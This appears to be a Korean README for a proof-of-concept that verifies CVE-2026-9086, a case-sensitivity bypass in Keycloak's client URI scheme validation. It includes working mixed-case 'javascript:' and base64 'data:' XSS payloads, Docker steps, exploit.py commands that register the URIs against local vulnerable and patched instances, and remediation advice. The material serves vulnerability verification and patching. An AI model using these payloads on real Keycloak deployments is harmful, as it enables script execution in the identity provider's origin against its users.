
CVE-2026-9086에 대한 Keycloak 클라이언트 URI 검증 우회 PoC로, 대소문자 혼합 javascript: 및 data: XSS 페이로드를 사용하며 취약한 버전과 패치된 버전을 Docker 기반으로 검증합니다.
이 리포지토리는 Keycloak의 클라이언트 URI 검증에 존재하는 XSS(Cross-Site Scripting) 취약점 CVE-2026-9086의 Proof of Concept (PoC)입니다.
취약한 Keycloak은 클라이언트에 설정되는 URI의 javascript: 및
data: 스킴을 대소문자를 구분하여 검증했습니다. 그 때문에
jaVaSCript:나 DaTa: 같은 혼합 표기를 사용하면 금지 스킴의 검증을
우회할 수 있습니다. 브라우저는 URI 스킴을 대소문자 구분 없이 해석하므로
조작된 링크를 피해자가 클릭하면 Keycloak 오리진에서
JavaScript가 실행될 수 있습니다.
이 PoC는 Keycloak 26.6.3(취약 버전)과 26.6.4(수정 버전)를 Docker로 실행하고 동일한 혼합 표기 URI를 Admin REST API에서 등록합니다. 취약 버전에서는 등록이 성공하고 수정 버전에서는 HTTP 400으로 거부되는 것을 확인합니다.
이 PoC는 등록된 URI를 브라우저에서 열지 않으며 JavaScript를 실행하지 않습니다.
이 프로젝트는 교육 목적 및 허가된 보안 검증만을 목적으로 합니다. 제3자의 Keycloak 환경에 대한 무단 검증에는 사용하지 마십시오. 본 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client 권한 또는 클라이언트 등록 엔드포인트에 대한 액세스수정 전의 DefaultClientValidationProvider는 금지 스킴을
String.equals()로 비교했습니다.
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
java.net.URI#getScheme()는 입력의 대소문자를 유지하므로 다음 URI는
비교와 일치하지 않아 검증을 통과합니다.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
수정 버전에서는 equalsIgnoreCase()가 사용됩니다.
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Docker Compose로 취약 버전과 수정 버전을 실행합니다.
docker compose up -d
실행 대상:
| URL | 버전 | 예상 결과 |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI 등록 성공(취약) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400(수정됨) |
최초 실행에는 시간이 조금 걸립니다. 다음 명령으로 상태를 확인할 수 있습니다.
docker compose logs -f
두 로그 모두에 Listening on이 표시되면 Ctrl+C로 로그 표시를 종료합니다.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
예상 출력:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
스크립트는 생성된 클라이언트를 Admin API에서 다시 가져와 조작된 URI가 저장되었는지도 확인합니다.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
예상 출력:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data: 스킴 검증--scheme data를 지정하면 혼합 표기의 DaTa: URI를 검증할 수 있습니다.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py는 다음 처리만 수행합니다.
admin-cli를 사용하여 관리자 액세스 토큰을 획득합니다.jaVaSCript: 또는 DaTa: URI를 redirectUris에 설정합니다./admin/realms/master/clients에 클라이언트 생성 요청을 전송합니다.브라우저 실행, 등록 URI로의 이동, JavaScript 실행은 수행하지 않습니다.
Keycloak 26.6 계열은 26.6.4 이상, Red Hat build of Keycloak 26.4 계열은 26.4.13 이상으로 업데이트하십시오.
또한 기존 클라이언트의 URI 설정을 감사하고 대소문자와 관계없이
javascript: 또는 data:를 사용하는 값을 삭제하십시오.
manage-client 권한과 클라이언트 등록 엔드포인트에 대한 액세스도 필요한 최소한으로
제한하십시오.